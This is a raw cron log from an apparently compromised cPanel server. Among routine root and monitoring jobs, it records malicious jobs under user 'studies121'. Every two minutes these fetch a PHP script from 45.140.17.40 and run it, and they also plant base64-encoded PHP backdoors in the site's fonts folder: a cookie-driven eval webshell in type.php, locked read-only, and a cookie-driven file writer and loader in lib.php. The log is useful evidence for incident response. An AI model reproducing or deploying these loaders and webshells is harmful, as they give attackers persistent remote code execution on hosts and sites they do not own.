Sep  6 06:36:01 ip-184-168-122-23 CROND[28906]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:36:01 ip-184-168-122-23 CROND[28908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:36:01 ip-184-168-122-23 CROND[28912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:37:01 ip-184-168-122-23 CROND[29006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:37:01 ip-184-168-122-23 CROND[29005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:37:01 ip-184-168-122-23 CROND[29007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:37:01 ip-184-168-122-23 CROND[29008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:38:01 ip-184-168-122-23 CROND[29085]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:38:01 ip-184-168-122-23 CROND[29086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:38:01 ip-184-168-122-23 CROND[29087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:38:01 ip-184-168-122-23 CROND[29089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:38:01 ip-184-168-122-23 CROND[29090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:39:01 ip-184-168-122-23 CROND[29184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:39:01 ip-184-168-122-23 CROND[29187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:39:01 ip-184-168-122-23 CROND[29186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:39:01 ip-184-168-122-23 CROND[29189]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 06:39:01 ip-184-168-122-23 CROND[29188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:40:01 ip-184-168-122-23 CROND[29286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:40:01 ip-184-168-122-23 CROND[29288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:40:01 ip-184-168-122-23 CROND[29289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:40:01 ip-184-168-122-23 CROND[29290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:40:01 ip-184-168-122-23 CROND[29295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:40:01 ip-184-168-122-23 CROND[29296]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 06:40:01 ip-184-168-122-23 CROND[29292]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:40:01 ip-184-168-122-23 CROND[29294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:41:01 ip-184-168-122-23 CROND[29479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:41:01 ip-184-168-122-23 CROND[29481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:41:01 ip-184-168-122-23 CROND[29482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:41:01 ip-184-168-122-23 CROND[29483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:42:01 ip-184-168-122-23 CROND[29574]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:42:01 ip-184-168-122-23 CROND[29576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:42:01 ip-184-168-122-23 CROND[29577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:42:01 ip-184-168-122-23 CROND[29578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:42:01 ip-184-168-122-23 CROND[29579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:43:01 ip-184-168-122-23 CROND[29790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:43:01 ip-184-168-122-23 CROND[29791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:43:01 ip-184-168-122-23 CROND[29788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:43:01 ip-184-168-122-23 CROND[29789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:44:01 ip-184-168-122-23 CROND[29873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:44:01 ip-184-168-122-23 CROND[29877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:44:01 ip-184-168-122-23 CROND[29875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:44:01 ip-184-168-122-23 CROND[29876]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:44:01 ip-184-168-122-23 CROND[29878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:45:01 ip-184-168-122-23 CROND[29965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:45:01 ip-184-168-122-23 CROND[29966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:45:01 ip-184-168-122-23 CROND[29967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:45:01 ip-184-168-122-23 CROND[29969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:45:01 ip-184-168-122-23 CROND[29971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:45:01 ip-184-168-122-23 CROND[29972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:46:02 ip-184-168-122-23 CROND[30145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:46:02 ip-184-168-122-23 CROND[30148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:46:02 ip-184-168-122-23 CROND[30150]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 06:46:02 ip-184-168-122-23 CROND[30147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:46:02 ip-184-168-122-23 CROND[30149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:46:02 ip-184-168-122-23 CROND[30152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:46:02 ip-184-168-122-23 CROND[30153]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 06:47:01 ip-184-168-122-23 CROND[30252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:47:01 ip-184-168-122-23 CROND[30256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:47:01 ip-184-168-122-23 CROND[30254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:47:01 ip-184-168-122-23 CROND[30255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:48:01 ip-184-168-122-23 CROND[30374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:48:01 ip-184-168-122-23 CROND[30378]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
